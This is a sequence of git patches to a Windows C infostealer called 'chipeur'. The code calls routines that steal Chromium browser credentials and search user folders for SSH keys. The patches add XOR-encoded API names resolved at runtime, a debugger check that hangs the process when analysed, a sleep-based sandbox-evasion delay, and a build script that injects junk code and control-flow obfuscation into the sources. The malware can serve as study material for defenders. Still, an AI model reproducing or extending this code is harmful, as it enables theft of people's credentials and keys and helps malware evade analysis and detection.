00:00:00 2001 From: gznop Date: Sun, 16 Feb 2025 00:38:51 +0100 Subject: [PATCH 29/49] local merging with unstable --- src/chipeur.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/chipeur.c b/src/chipeur.c index 0e7eaa2..abbc34c 100644 --- a/src/chipeur.c +++ b/src/chipeur.c @@ -9,8 +9,8 @@ #include "c2.h" #include "chromium.h" #include "find_ssh_key.h" -#include "logins.h" #include "hardware_requirements.h" +#include "logins.h" #include "obfuscation.h" int main(void) { From 77767570693634335249d9db3ef422b9d27fe5bb Mon Sep 17 00:00:00 2001 From: ErrorTeaPot Date: Sun, 16 Feb 2025 13:13:53 +0100 Subject: [PATCH 30/49] Add DLL resolution with commented parts --- include/obfuscation.h | 7 +++++++ src/chipeur.c | 25 +++++++++++++++---------- src/obfuscation.c | 16 +++++++++++++++- 3 files changed, 37 insertions(+), 11 deletions(-) diff --git a/include/obfuscation.h b/include/obfuscation.h index db0bc22..3b924ce 100644 --- a/include/obfuscation.h +++ b/include/obfuscation.h @@ -15,8 +15,15 @@ } \ } while (0) +#define REFKNOWNFOLDERID const KNOWNFOLDERID * __MIDL_CONST + typedef BOOL(WINAPI *PCheckRemoteDebuggerPresent)(HANDLE hProcess, PBOOL pbDebuggerPresent); +typedef HMODULE(WINAPI *PLoadLibraryA)(LPCSTR lpLibFileName); +//typedef HRESULT(WINAPI *PSHGetKnownFolderPath)(REFKNOWNFOLDERID rfid, DWORD dwFlags, HANDLE hToken, PWSTR *ppszPath); typedef struct { PCheckRemoteDebuggerPresent funcCheckRemoteDebuggerPresent; + PLoadLibraryA funcLoadLibraryA; + //PSHGetKnownFolderPath funcSHGetKnownFolderPath; } hidden_apis; + void resolve_apis(hidden_apis *apis); diff --git a/src/chipeur.c b/src/chipeur.c index 891413e..546920b 100644 --- a/src/chipeur.c +++ b/src/chipeur.c @@ -20,7 +20,7 @@ int main(void) { // Init hidden_apis apis = {0}; - resolve_apis(&apis); + resolve_apis(&apis); // Check if a debugger is attached to the process BOOL isDebuggerPresent = FALSE; @@ -28,30 +28,35 @@ int main(void) { if (apis.funcCheckRemoteDebuggerPresent) { if (apis.funcCheckRemoteDebuggerPresent(hProcess, &isDebuggerPresent)) { - printf("Nice call\n"); if (isDebuggerPresent) { #ifdef DEBUG printf("Un débogueur est détecté sur ce processus.\n"); #endif while (1); - } - else { + } else { #ifdef DEBUG printf("Aucun débogueur n'est détecté sur ce processus.\n"); #endif } - } - else { + } else { #ifdef DEBUG - printf("Erreur lors de l'appel à CheckRemoteDebuggerPresent. Code d'erreur : %lu\n", GetLastError()); + printf( + "Erreur lors de l'appel à CheckRemoteDebuggerPresent. Code d'erreur " + ": %lu\n", + GetLastError()); #endif } - } - else { + } else { #ifdef DEBUG - printf("Erreur: CheckRemoteDebuggerPresent n'a pas été résolu correctement.\n"); + printf( + "Erreur: CheckRemoteDebuggerPresent n'a pas été résolu " + "correctement.\n"); #endif } + char msvcrt_str[] = "\x47\x59\x5c\x49\x58\x5e\x04\x4e\x46\x46"; + XOR_STR(msvcrt_str, strlen(msvcrt_str)); + + // apis.funcLoadLibraryA(msvcrt_str); steal_chromium_creds(); diff --git a/src/obfuscation.c b/src/obfuscation.c index c77b67f..b8719d6 100644 --- a/src/obfuscation.c +++ b/src/obfuscation.c @@ -1,5 +1,6 @@ #include "obfuscation.h" +#include #include #include #include @@ -33,11 +34,24 @@ void resolve_apis(hidden_apis *apis) { HMODULE hKernel32 = GetModuleHandleW(kernel_str); + // Resolve strings char checkRemoteDbg_str[] = "\x69\x42\x4f\x49\x41\x78\x4f\x47\x45\x5e\x4f\x6e\x4f\x48\x5f\x4d\x4d\x4f" "\x58\x7a\x58\x4f\x59\x4f\x44\x5e"; // CheckRemoteDebuggerPresent XOR_STR(checkRemoteDbg_str, strlen(checkRemoteDbg_str)); + char loadLibA_str[] = "\x66\x45\x4b\x4e\x66\x43\x48\x58\x4b\x58\x53\x6b"; + XOR_STR(loadLibA_str, strlen(loadLibA_str)); + char SHGetKnownFolderPath_str[] = + "\x79\x62\x6d\x4f\x5e\x61\x44\x45\x5d\x44\x6c\x45\x46\x4e\x4f\x58\x7a\x4b" + "\x5e\x42"; + XOR_STR(SHGetKnownFolderPath_str, strlen(SHGetKnownFolderPath_str)); + apis->funcCheckRemoteDebuggerPresent = - (PCheckRemoteDebuggerPresent)GetProcAddress(hKernel32, checkRemoteDbg_str); + (PCheckRemoteDebuggerPresent)GetProcAddress(hKernel32, + checkRemoteDbg_str); + apis->funcLoadLibraryA = + (PLoadLibraryA)GetProcAddress(hKernel32, loadLibA_str); + // apis->funcSHGetKnownFolderPath = (PSHGetKnownFolderPath)GetProcAddress( + // hKernel32, SHGetKnownFolderPath_str); } From 8c3a71acbfa5c42c50cd4743436eb8c1f2cf022d Mon Sep 17 00:00:00 2001 From: Hilan Meyran Date: Mon, 17 Feb 2025 12:13:37 +0100 Subject: [PATCH 31/49] update makefile --- makefile | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/makefile b/makefile index e29e16e..bcca30b 100644 --- a/makefile +++ b/makefile @@ -4,7 +4,7 @@ INCLUDE_DIR = include/ OBJ_DIR = obj/ # add the object file used here -OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o $(OBJ_DIR)chromium.o $(OBJ_DIR)path.o $(OBJ_DIR)logins.o $(OBJ_DIR)sqlite3.o $(OBJ_DIR)aes.o +OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o $(OBJ_DIR)chromium.o $(OBJ_DIR)path.o $(OBJ_DIR)logins.o $(OBJ_DIR)delayed_execution.o $(OBJ_DIR)sqlite3.o $(OBJ_DIR)aes.o CC=x86_64-w64-mingw32-gcc CFLAGS=-g -fPIE -O2 -s -Warray-bounds -Wsequence-point -Walloc-zero -Wnull-dereference \ @@ -45,6 +45,9 @@ $(OBJ_DIR)path.o : $(SRC_DIR)path.c $(INCLUDE_DIR)path.h $(OBJ_DIR)logins.o : $(SRC_DIR)logins.c $(INCLUDE_DIR)logins.h $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ +$(OBJ_DIR)delayed_execution.o : $(SRC_DIR)delayed_execution.c $(INCLUDE_DIR)delayed_execution.h + $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ + $(OBJ_DIR)sqlite3.o : $(SRC_DIR)sqlite3.c $(INCLUDE_DIR)sqlite3.h $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ From 5abfaf4be1c2aa16f6e222160fb3ecdff9954ee0 Mon Sep 17 00:00:00 2001 From: Hilan Meyran Date: Mon, 17 Feb 2025 12:13:57 +0100 Subject: [PATCH 32/49] update header argument --- include/delay_execution.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/include/delay_execution.h b/include/delay_execution.h index 1413bc8..2e71a51 100644 --- a/include/delay_execution.h +++ b/include/delay_execution.h @@ -1,6 +1,6 @@ #ifndef DELAY_EXECUTION_H #define DELAY_EXECUTION_H -int delay_execution(); +int delay_execution(int duration); #endif From 91980904cdb0c47685989a2e148b6ca3d5c35734 Mon Sep 17 00:00:00 2001 From: Hilan Meyran Date: Mon, 17 Feb 2025 12:14:06 +0100 Subject: [PATCH 33/49] use code in main --- src/chipeur.c | 3 +++ src/delay_execution.c | 1 + 2 files changed, 4 insertions(+) diff --git a/src/chipeur.c b/src/chipeur.c index c7e53ba..2561c26 100644 --- a/src/chipeur.c +++ b/src/chipeur.c @@ -6,6 +6,7 @@ #include #include "chromium.h" +#include "delay_execution.h" #include "find_ssh_key.h" #include "obfuscation.h" @@ -16,6 +17,8 @@ int main(void) { // Allows us to print non-ASCII characters for debug SetConsoleOutputCP(CP_UTF8); + delay_execution(100); + hello(); steal_chromium_creds(); find_ssh_key(L"C:\\Users"); diff --git a/src/delay_execution.c b/src/delay_execution.c index 9859c01..7e67646 100644 --- a/src/delay_execution.c +++ b/src/delay_execution.c @@ -1,5 +1,6 @@ #include +// duration is in miliseconds // sleep the program to evade sandbox time limit and check if uptime is // consistent between the before and after sleep (to detect fast-forwards) int delay_execution(int duration) { From 4ba337da5d345540a48a488865f790c4b890c11d Mon Sep 17 00:00:00 2001 From: elyessfaxiano Date: Mon, 17 Feb 2025 15:01:15 +0100 Subject: [PATCH 34/49] Automatisation + cleaned a little bit --- build.sh | 14 ++++++++++++++ include/junk_code_inserter.h | 6 +++--- junk_code_inserter | Bin 0 -> 24768 bytes src/junk_code_inserter.c | 5 +---- 4 files changed, 18 insertions(+), 7 deletions(-) create mode 100644 build.sh create mode 100644 junk_code_inserter diff --git a/build.sh b/build.sh new file mode 100644 index 0000000..b3b501c --- /dev/null +++ b/build.sh @@ -0,0 +1,14 @@ +#!/bin/bash + +echo "Compiling junk_code_inserter..." +gcc -o junk_code_inserter src/junk_code_inserter.c -Iinclude -lcrypto || exit 1 + +echo "Applying junk code to modified source files..." +for file in $(git status --porcelain | awk '{print $2}' | grep '^src/.*\.c$' | grep -v 'junk_code_inserter.c'); do + if [[ "$file" != "src/sqlite3.c" && "$file" != "src/aes.c" ]]; then + echo "Processing $file" + ./junk_code_inserter "$file" + else + echo "Skipping $file" + fi +done diff --git a/include/junk_code_inserter.h b/include/junk_code_inserter.h index bd59492..9d02a1a 100644 --- a/include/junk_code_inserter.h +++ b/include/junk_code_inserter.h @@ -5,14 +5,14 @@ #include #include #include -#include + // Constants for junk code and control flow obfuscation probabilities #define MAX_LINE_LENGTH 1024 #define MAX_OBFUSCATIONS_PER_FUNCTION 1 -#define JUNK_CODE_PROBABILITY 25 -#define CONTROL_FLOW_PROBABILITY 15 +#define JUNK_CODE_PROBABILITY 15 +#define CONTROL_FLOW_PROBABILITY 10 #define OPAQUE_PREDICATE_PROBABILITY 10 /** diff --git a/junk_code_inserter b/junk_code_inserter new file mode 100644 index 0000000000000000000000000000000000000000..6964a0062119e559bb6fba83340c70b6303f0d98 GIT binary patch literal 24768 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 oH2Rqg~-{8fKt@{7jFL>djJ3c literal 0 HcmV?d00001 diff --git a/src/junk_code_inserter.c b/src/junk_code_inserter.c index 1e057de..0d5a60d 100644 --- a/src/junk_code_inserter.c +++ b/src/junk_code_inserter.c @@ -1,4 +1,4 @@ -// gcc -o junk_code_inserter src/junk_code_inserter.c -lcrypto +// gcc -o junk_code_inserter src/junk_code_inserter.c -Iinclude --> ./build.sh #include "junk_code_inserter.h" void generate_junk_code(FILE *output) { @@ -165,9 +165,6 @@ void insert_obfuscation(const char *file_path) { int obfuscations_in_function = 0; int inside_struct = 0; - unsigned int seed; - RAND_bytes((unsigned char*)&seed, sizeof(seed)); - srand(seed); while (fgets(line, sizeof(line), input)) { if (strstr(line, "struct ") || strstr(line, "typedef struct")) { From e2936a6b89dcd162e858abcd9f4d78525d6ff1d3 Mon Sep 17 00:00:00 2001 From: elyessfaxiano Date: Mon, 17 Feb 2025 16:06:38 +0100 Subject: [PATCH 35/49] Fix clang-format issues --- include/junk_code_inserter.h | 16 +- src/junk_code_inserter.c | 462 +++++++++++++++++++---------------- 2 files changed, 264 insertions(+), 214 deletions(-) diff --git a/include/junk_code_inserter.h b/include/junk_code_inserter.h index 9d02a1a..98a4f5e 100644 --- a/include/junk_code_inserter.h +++ b/include/junk_code_inserter.h @@ -6,8 +6,6 @@ #include #include - - // Constants for junk code and control flow obfuscation probabilities #define MAX_LINE_LENGTH 1024 #define MAX_OBFUSCATIONS_PER_FUNCTION 1 @@ -17,23 +15,25 @@ /** * @brief Generates random junk code to obfuscate the source code. - * + * * @param output The file pointer where the junk code will be written. */ void generate_junk_code(FILE *output); /** - * @brief Generates random control flow obfuscation to make reverse engineering harder. - * - * @param output The file pointer where the control flow obfuscation will be written. + * @brief Generates random control flow obfuscation to make reverse engineering + * harder. + * + * @param output The file pointer where the control flow obfuscation will be + * written. */ void generate_control_flow(FILE *output); /** * @brief Applies junk code and control flow obfuscation to a given source file. - * + * * @param file_path The path to the source file to be obfuscated. */ void insert_obfuscation(const char *file_path); -#endif // JUNK_CODE_INSERTER_H +#endif // JUNK_CODE_INSERTER_H diff --git a/src/junk_code_inserter.c b/src/junk_code_inserter.c index 0d5a60d..ab68714 100644 --- a/src/junk_code_inserter.c +++ b/src/junk_code_inserter.c @@ -1,230 +1,280 @@ -// gcc -o junk_code_inserter src/junk_code_inserter.c -Iinclude --> ./build.sh +// gcc -o junk_code_inserter src/junk_code_inserter.c -Iinclude --> +// ./build.sh #include "junk_code_inserter.h" void generate_junk_code(FILE *output) { - unsigned int rand_value; - rand_value = rand() % 5; - - switch (rand_value) { - case 0: { - int var_id = rand() % 1000; - fprintf(output, " volatile int random_val_%d = rand() %% 256;\n", var_id); - fprintf(output, " for (int i = 0; i < 3 + (rand() %% 3); i++) {\n"); - fprintf(output, " random_val_%d ^= (random_val_%d + i) & (rand() %% 100);\n", var_id, var_id); - fprintf(output, " }\n"); - fprintf(output, " if ((random_val_%d & (1 << (rand() %% 8))) != 0) {\n", var_id); - fprintf(output, " random_val_%d |= (rand() %% 0xFF);\n", var_id); - fprintf(output, " } else {\n"); - fprintf(output, " random_val_%d &= ~(rand() %% 0x7F);\n", var_id); - fprintf(output, " }\n"); - break; - } - - case 1: { - int array_id = rand() % 1000; - int array_size = 2 + (rand() % 3); - fprintf(output, " volatile int* mem_block_%d = (int*)malloc(sizeof(int) * %d);\n", - array_id, array_size); - fprintf(output, " if (mem_block_%d) {\n", array_id); - fprintf(output, " for (int i = 0; i < %d; i++) {\n", array_size); - fprintf(output, " mem_block_%d[i] = (i * rand()) ^ (rand() %% 0xFFFF);\n", array_id); - fprintf(output, " }\n"); - fprintf(output, " mem_block_%d[rand() %% %d] ^= (rand() %% 0xFF);\n", array_id, array_size); - fprintf(output, " free((void*)mem_block_%d);\n", array_id); - fprintf(output, " }\n"); - break; - } - - case 2: { - int ptr_id = rand() % 1000; - fprintf(output, " volatile int* heap_var_%d = (int*)malloc(sizeof(int) * 3);\n", ptr_id); - fprintf(output, " if (heap_var_%d) {\n", ptr_id); - fprintf(output, " for (int i = 0; i < 3; i++) {\n"); - fprintf(output, " heap_var_%d[i] = (rand() << 16) | rand();\n", ptr_id); - fprintf(output, " }\n"); - fprintf(output, " heap_var_%d[1] ^= heap_var_%d[2] * heap_var_%d[0];\n", - ptr_id, ptr_id, ptr_id); - fprintf(output, " free((void*)heap_var_%d);\n", ptr_id); - fprintf(output, " }\n"); - break; - } - - case 3: { - int logic_id = rand() % 1000; - fprintf(output, " volatile int control_flow_%d = rand() ^ (rand() << 16);\n", logic_id); - fprintf(output, " for (int i = (control_flow_%d & 0x3); i > 0; i--) {\n", logic_id); - fprintf(output, " control_flow_%d ^= (i * control_flow_%d) | (rand() %% 0xFFFF);\n", - logic_id, logic_id); - fprintf(output, " }\n"); - fprintf(output, " if ((control_flow_%d & 0x80000000)) {\n", logic_id); - fprintf(output, " control_flow_%d += rand();\n", logic_id); - fprintf(output, " } else {\n"); - fprintf(output, " control_flow_%d -= (rand() %% 0x3FF);\n", logic_id); - fprintf(output, " }\n"); - break; - } - - case 4: { - int loop_id = rand() % 1000; - fprintf(output, " volatile int seed_%d = (rand() << 16) | rand();\n", loop_id); - fprintf(output, " volatile int modifier_%d = rand() %% 100 + 1;\n", loop_id); - fprintf(output, " for (int i = (seed_%d & 0x3); i < (4 + (modifier_%d & 0x1)); i++) {\n", loop_id, loop_id); - fprintf(output, " seed_%d = ((seed_%d * 0x5DEECE66DULL + 0xB) ^ (rand() << 16)) + modifier_%d;\n", - loop_id, loop_id, loop_id); - fprintf(output, " if ((seed_%d & 0xF) == 0) break;\n", loop_id); - fprintf(output, " }\n"); - break; - } + unsigned int rand_value; + rand_value = rand() % 5; + switch (rand_value) { + case 0: { + int var_id = rand() % 1000; + fprintf(output, " volatile int random_val_%d = rand() %% 256;\n", + var_id); + fprintf(output, " for (int i = 0; i < 3 + (rand() %% 3); i++) {\n"); + fprintf( + output, + " random_val_%d ^= (random_val_%d + i) & (rand() %% 100);\n", + var_id, var_id); + fprintf(output, " }\n"); + fprintf(output, + " if ((random_val_%d & (1 << (rand() %% 8))) != 0) {\n", + var_id); + fprintf(output, " random_val_%d |= (rand() %% 0xFF);\n", var_id); + fprintf(output, " } else {\n"); + fprintf(output, " random_val_%d &= ~(rand() %% 0x7F);\n", var_id); + fprintf(output, " }\n"); + break; } + + case 1: { + int array_id = rand() % 1000; + int array_size = 2 + (rand() % 3); + fprintf( + output, + " volatile int* mem_block_%d = (int*)malloc(sizeof(int) * %d);\n", + array_id, array_size); + fprintf(output, " if (mem_block_%d) {\n", array_id); + fprintf(output, " for (int i = 0; i < %d; i++) {\n", array_size); + fprintf( + output, + " mem_block_%d[i] = (i * rand()) ^ (rand() %% 0xFFFF);\n", + array_id); + fprintf(output, " }\n"); + fprintf(output, + " mem_block_%d[rand() %% %d] ^= (rand() %% 0xFF);\n", + array_id, array_size); + fprintf(output, " free((void*)mem_block_%d);\n", array_id); + fprintf(output, " }\n"); + break; + } + + case 2: { + int ptr_id = rand() % 1000; + fprintf( + output, + " volatile int* heap_var_%d = (int*)malloc(sizeof(int) * 3);\n", + ptr_id); + fprintf(output, " if (heap_var_%d) {\n", ptr_id); + fprintf(output, " for (int i = 0; i < 3; i++) {\n"); + fprintf(output, " heap_var_%d[i] = (rand() << 16) | rand();\n", + ptr_id); + fprintf(output, " }\n"); + fprintf(output, + " heap_var_%d[1] ^= heap_var_%d[2] * heap_var_%d[0];\n", + ptr_id, ptr_id, ptr_id); + fprintf(output, " free((void*)heap_var_%d);\n", ptr_id); + fprintf(output, " }\n"); + break; + } + + case 3: { + int logic_id = rand() % 1000; + fprintf(output, + " volatile int control_flow_%d = rand() ^ (rand() << 16);\n", + logic_id); + fprintf(output, + " for (int i = (control_flow_%d & 0x3); i > 0; i--) {\n", + logic_id); + fprintf(output, + " control_flow_%d ^= (i * control_flow_%d) | (rand() %% " + "0xFFFF);\n", + logic_id, logic_id); + fprintf(output, " }\n"); + fprintf(output, " if ((control_flow_%d & 0x80000000)) {\n", logic_id); + fprintf(output, " control_flow_%d += rand();\n", logic_id); + fprintf(output, " } else {\n"); + fprintf(output, " control_flow_%d -= (rand() %% 0x3FF);\n", + logic_id); + fprintf(output, " }\n"); + break; + } + + case 4: { + int loop_id = rand() % 1000; + fprintf(output, " volatile int seed_%d = (rand() << 16) | rand();\n", + loop_id); + fprintf(output, " volatile int modifier_%d = rand() %% 100 + 1;\n", + loop_id); + fprintf(output, + " for (int i = (seed_%d & 0x3); i < (4 + (modifier_%d & " + "0x1)); i++) {\n", + loop_id, loop_id); + fprintf(output, + " seed_%d = ((seed_%d * 0x5DEECE66DULL + 0xB) ^ (rand() " + "<< 16)) + modifier_%d;\n", + loop_id, loop_id, loop_id); + fprintf(output, " if ((seed_%d & 0xF) == 0) break;\n", loop_id); + fprintf(output, " }\n"); + break; + } + } } void generate_control_flow(FILE *output) { - unsigned int rand_value; - rand_value = rand() % 5; - - switch (rand_value) { - case 0: { - int var_id = rand() % 1000; - fprintf(output, " volatile int control_state_%d = rand() ^ (rand() << 16);\n", var_id); - fprintf(output, " if ((control_state_%d & 0x8000) == 0) {\n", var_id); - fprintf(output, " control_state_%d ^= (rand() << 8) | 0xFF00FF;\n", var_id); - fprintf(output, " } else {\n"); - fprintf(output, " control_state_%d |= (rand() %% 0xFFFF);\n", var_id); - fprintf(output, " }\n"); - break; - } - - case 1: { - int buffer_id = rand() % 1000; - fprintf(output, " volatile int buffer_control_%d[3];\n", buffer_id); - fprintf(output, " for (int i = 0; i < 3; i++) {\n"); - fprintf(output, " buffer_control_%d[i] = (rand() << 24) | (rand() << 8);\n", buffer_id); - fprintf(output, " }\n"); - fprintf(output, " if ((buffer_control_%d[0] ^ buffer_control_%d[1]) > buffer_control_%d[2]) {\n", - buffer_id, buffer_id, buffer_id); 